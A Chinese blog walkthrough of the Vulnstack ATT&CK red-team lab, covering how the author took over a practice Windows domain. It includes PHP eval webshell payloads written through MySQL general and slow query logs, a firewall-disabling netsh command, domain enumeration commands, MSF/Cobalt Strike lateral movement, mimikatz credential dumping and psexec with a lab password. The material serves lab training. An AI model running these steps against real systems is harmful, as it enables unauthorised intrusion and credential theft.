ATK&CK紅隊評估實戰靶場 (一)的搭建和模擬攻擊過程全過程


介紹及環境搭建

靶機地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2
官方靶機說明:
紅隊實戰系列,主要以真實企業環境為實例搭建一系列靶場,通過練習、視頻教程、博客三位一體學習。另外本次實戰完全模擬 ATT&CK 攻擊鏈路進行搭建,開成完整閉環。后續也會搭建真實 APT 實戰環境,從實戰中成長。虛擬機所有統一密碼:hongrisec@2019

配置網絡,網絡配置如下:

可以選擇kali主機和web服務器(WIN7)直接開啟NAT,但是也用不到,除非CS搭建在了自己的VPS上。我就是搭建在自己的VPS上,所以web服務器和kali主機是可以開啟NAT訪問外網的;

網絡架構:

虛擬機環境:

kali(攻擊機)以及三台服務器的配置:

開機這樣:

需要先開啟phpstudy:

注意win7的雙網卡設置,並ping內網

win7雙網卡,並且都可以ping通kali主機,且注意可以ping通內網,因為正常情況下DMZ區可以訪問外網;

滲透web服務器流程

先發現主機:netdiscover -i eth0 -r 192.168.52.0/24
發現143主機之后,對其進行端口探測:
nmap -T4 -A -v -Pn IP

最常用的一種掃描

T4 設置時序,越高掃描越快
A 啟用操作系統檢測,版本檢測,腳本掃描和跟蹤路由
v 增加詳細級別(使用-vv或更高級別以獲得更好的效果)
Pn 無ping掃描

開放了80,3306這兩個重要的端口
訪問80端口,看到絕對路徑,這個可是對后期滲透很有用的

** 絕對路徑 C:/phpStudy/WWW
最下面檢測mysql連接:root,root可以連接**

端口檢測完成,到掃描目錄步驟:
常規掃描只有phpmyadmin,這個字典不太行,直接用御劍的;

訪問beifen.rar將文件下載,查看

robots.txt文件顯示yxcms,訪問

前台泄露了賬號,密碼,登錄后發現有如下重要功能

可以嘗試SQL寫入shell,上傳shell

首頁的留言本可以實現存儲型xss,盜取管理員cookie,誘導點擊鏈接等。

查看此處的前台模板,可以自己添加模板,因為有源碼備份文件,去查找default文件位置

可以確定寫入模板位置位於:
192.168.52.143/yxcms/protected/apps/default/view/default/dudu.php

寫入之后拿蟻劍連接

直接上傳寫shell,可以連接

這里我打算嘗試一波目錄遍歷寫入shell,不知是否可行

此處我上傳成功了,並且蟻劍連接成功。但是前台沒有顯示../../../../../dudu2.php

此處的碎片刪除界面,可以進行dnslog帶外注入


具體分析查看:https://www.freebuf.com/column/162886.html

之前的phpmyadmin可以登錄,嘗試SQL寫入shell

嘗試執行SQL語句寫入shell,寫入shell的幾個條件:

數據庫此刻為root權限或者擁有File權限
知道網站絕對路徑
PHP的GPC參數為關閉狀態
Mysql中的secure_file_priv參數不能為Null狀態

secure-file-priv特性:

secure-file-priv參數是用來限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()傳到哪個指定目錄
當secure_file_priv的值為null ,表示限制mysql 不允許導入|導出
當secure_file_priv的值為/tmp/ ,表示限制mysql 的導入|導出只能發生在/tmp/目錄下
當secure_file_priv的值沒有具體值時,表示不對mysql 的導入|導出做限制
            可以在mysql-ini文件中設置其屬性

這里值是NULL,直接into outfile寫不了shell

如果想通過into寫入文件,修改value的值: windows下修改配置文件:mysql.ini linux修改配置文件:my.cnf select 1,'<?php eval($_POST[a]);?>' INTO OUTFILE '/var/www/html/test.php'# select 1,'<?php eval($_POST[a]);?>' INTO dumpfile '/var/www/html/test.php'# 區別在於使用outfile時,文件中一行的末尾會自動換行

這里直接寫shell不行,可以在SQL中開啟日志記錄,因為phpmyadmin泄露了絕對路徑,然后指定位置寫入shell
這里開啟全局日志記錄:

查看當前的日志記錄:

指定日志文件存放於哪個目錄,方便連接操作

寫入shell,連接密碼dudu3

蟻劍去連接:
剛開始去連接,沒連上,以為SQL命令不合適,重復執行了一遍;
又去phpstudy查看效果,在www目錄下,我連接是寫的cms目錄下,人傻了

還有一種方法利用慢日志寫shell

一般都是通過long_query_time選項來設置這個時間值的,時間以秒為單位,可以精確到微妙。如果查詢時間
超過了這個時間值,這個查詢語句將會被記錄到慢查詢日志中;

查看服務器默認時間值方式:
show global variables like '%long_query_time%';
開啟慢查詢(關閉參數為0):
set global slow_query_log=1;
查看結果:
show global variables like '%slow%';   # 是否slow_query_log為ON
修改slow_query_log_file日志文件的絕對路徑和文件名
set global slow_query_log_file='c:\\phpstudy\\www\\yxcms\\dudu4.php';
最后進行查詢:
SELECT'<?php eval($_POST[dudu4]);?>' OR SLEEP(11);

image
image
image
image

執行最后一條語句需要注意:一般$_POST['']里面的內容會加引號,這里寫入時不能加引號,否則語句執行不成功
image

去蟻劍連接就行,密碼dudu4
image
image
前滲透基本結束,4種拿shell方式;

后滲透流程

我本來想直接利用公網VPS的CS服務器,在自己本機實現上線,但是還要牽扯代理,隧道諸多復雜事項,這個
靶機的初衷是web服務器置於外網,這樣屬於多層網絡架構,可能無法拿下。只能利用kali主機的MSF,然后將CS
服務器起到ubuntu,然后win7電腦客戶端實現上線;

image

然后給unbuntu和win7安裝CS服務器和客戶端,,,過程省略。。。
CS服務器
image
CS客戶端
image
然后選擇監聽器唄,用蟻劍上傳CS生成的木馬
image
這里生成木馬,拿蟻劍連接最好先去蟻劍關閉防火牆;
蟻劍終端執行:netsh advfirewall set allprofiles state off
image
image

一直不上線,,,兩邊的防火牆也都關了
搞了好久,發現是監聽器設置錯了,沒有設置為自己服務器的地址,設置CS客戶端的地址;
蟻劍執行上傳的exe就行,防火牆之前關閉了,這里執行完就能上線主機

image

后滲透正式開始

先將這台主機的sleep設置為0,因為是靶機,正常環境不能太快;
對這台主機進行信息收集;

image
image
這里仔細分析一下,224為外網段,52為內網段,win環境中,DNS服務器一般是和DC綁定的,之前部署時需要綁定設置;所以52.138初步判斷為域控的ip地址,繼續信息收集;
image
image

對主機基本信息收集

查詢操作系統及軟件信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # 英文系統
systeminfo | findstr /B /C:"OS 名稱" /C:"OS 版本" #中文系統
 查看系統體系結構
echo %PROCESSOR_ARCHITECTURE% 
PowerShell收集軟件的版本信息
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name, version" 
查看當前權限
whoami && whoami /priv
查詢本機服務信息
wmic service list brief
查看安裝的軟件的版本、路徑等
wmic product get name, version 
查詢進程信息
wmic process list brief
查看啟動程序信息
wmic startup get command,caption

image
image
然后查看一下是否存在常見的殺毒軟件進程,,,
image
image
命令很多,寫個筆記,用的時候順着往下敲,就知道了
這里就去定位域了,之前已經初步判斷了存在域
前面判斷了存在域,且DNS域名為god.org
image
然后我判斷域用戶角色和時間定位域的時候,出現錯誤提示5,這種情況說明此賬戶不是域用戶,權限不夠;(此處花費我很久時間去排查原因,最后發現是NAT網絡原因,nslookup域名的時候也會出到外網,最后重新設置了一下win7主機的網卡才行)

然后查看主域信息以及時間服務器;
image

systeminfo查看了所在域環境和補丁情況
image

查詢當前的登錄域與用戶信息
image

這個時候域信息基本清楚,就得定位域控了;因為之前發現ipconfig/all發現了dns服務器地址,就不在nslookup去解析了
image

查看域內的用戶
image

獲取域內用戶的詳細信息:wmic useraccount get /all
image

查看所有域成員計算機列表:net group "domain computers" /domain
image

查看域管理員的用戶組:net group "domain admins" /domain
image

查詢域系統管理員用戶組:net group "Enterprise admins" /domain
image

查看域控制器:net group "domain controllers" /domain
image

獲取域密碼信息:net accounts /domain
image

基本域信息探測完畢,初步對域內主機賬戶有了初步了解,接下來就是提權,橫向;

方法一:
·這里可以將MSF生成的馬用蟻劍上傳至WIN7服務器,而后運行
·反彈個shell給MSF(如果是powershell運行記得,修改策略,set-execut ionpolicy unrestricted)
·之前收集過systeminfo,這里使用第三方工具Windows-Exploit-Suggester去檢測可以用漏洞;
(下載地址:https://github.com/GDSSecurity/Windows-Exploit-Suggester)
·在win7上systeminfo>win7.txt生成,而后去kali中利用
·存在MS16-014,MSF進行提權,nt authrity\system
·在win7主機上配置靜態路由,run autoroute -s 192.168.52.0/24
·MSF自帶掃描端口模塊,auxiliary/scanner/portscan/tcp set rhosts(掃描的主機) 掃描的端口(80,445,3389)
·使用ms17-010 comand模塊進行執行命令
·這里把shell反彈給cs,cs直接上線system權限,無需提權
·抓Hash密碼,再掃描內網段
·添加SMB會話,psexec拿域控的shell
·beacon開啟3389之后,就回到kali里面配置socks4a的代理,vi etc/proxychains.conf 添加socks4 x.x.x.x(MSF地址)port                
·proxychains nc -v DCip 3389   proxychains redesktop DCip 3389 至此MSF結合CS,拿下整個域控過程完結

方法二:
獲取了一個CS的beacon后可以目標內網情況和端口開放:
在beacon上右鍵->目標->選擇net view或者port scan:

image

執行后在Targets選項卡看到掃描的主機:
image

這個時候去用CS的hashdump去讀內存密碼,用mimakatz讀注冊表密碼:logonpasswords
權限不夠可以先去提權,插件Elevatekit

image

抓取密碼后探測內網其他主機:
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
這條命令是不需要進行免殺的,是系統命令

image

這里還有k8大神的工具ladon,內容豐富,掃描快

主要介紹SMB beacon,CS派生SMB beacon
SMB beacon通過命名管道通過父級Beacon進行通訊,當兩個Beacons鏈接后,子beacon從父beacon獲取到任務並發送。因為鏈接的Beacons使用windows命名管道進行通信,此流量封裝於SMB協議中,所以SMB beacon相對隱蔽,繞過防火牆會有奇效

第一種是在已經有的beacon上創建監聽,用來作為跳板內網穿透,前提是通過shell訪問其他內網主機,也就是獲取DC的方法一

第二種就是直接派生一個孩子,目的為了進一步盜取內網主機的hash
新建一個listener,payload設置為Beacon SMB:

image

在已有的beacon上右鍵spawn生成會話,進行派生
選擇創建的smb beacon的listener:選擇后會反彈一個子會話,在external的ip后面會有一個連接圖標

image

image

派生的SMB當前沒有連接,可以在主beacon上連接它 link host

psexec使用憑證來登錄其他主機
橫向已經探測到了獲取內網的其他Targets以及讀取到的憑證信息
可以利用psexec模塊登錄其他主機

右鍵選擇非域控主機(OWA)的psexec模塊:
選擇后,結果圖

image

image
分別執行了
rev2self
make_token GOD.ORG\Administrator hongrisec@2021
jump psexec OWA SMB
最后依次得到了三台內網主機的system權限,圖標試圖:
image

這里還可以使用Token竊取
image

竊取token,然后再psexec,選擇使用token
image

基本整個靶場就結束了,耗時三天;大概邊做邊記錄了,排版什么的也沒有注意,內網這塊兒還是比較菜的,參考了很多文章,才磕磕碰碰結束
7月份就去實習了,投的北京的四家崗位,某宇沒有面試過,還有一個甲方面過了但是因為學校7月離校,遺憾的通知我說已經沒有編制了,不過也好在拿到了心儀公司的實習offer,因為明年畢業,5輪面試的是春招崗位,但是只能拿實習的offer了


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM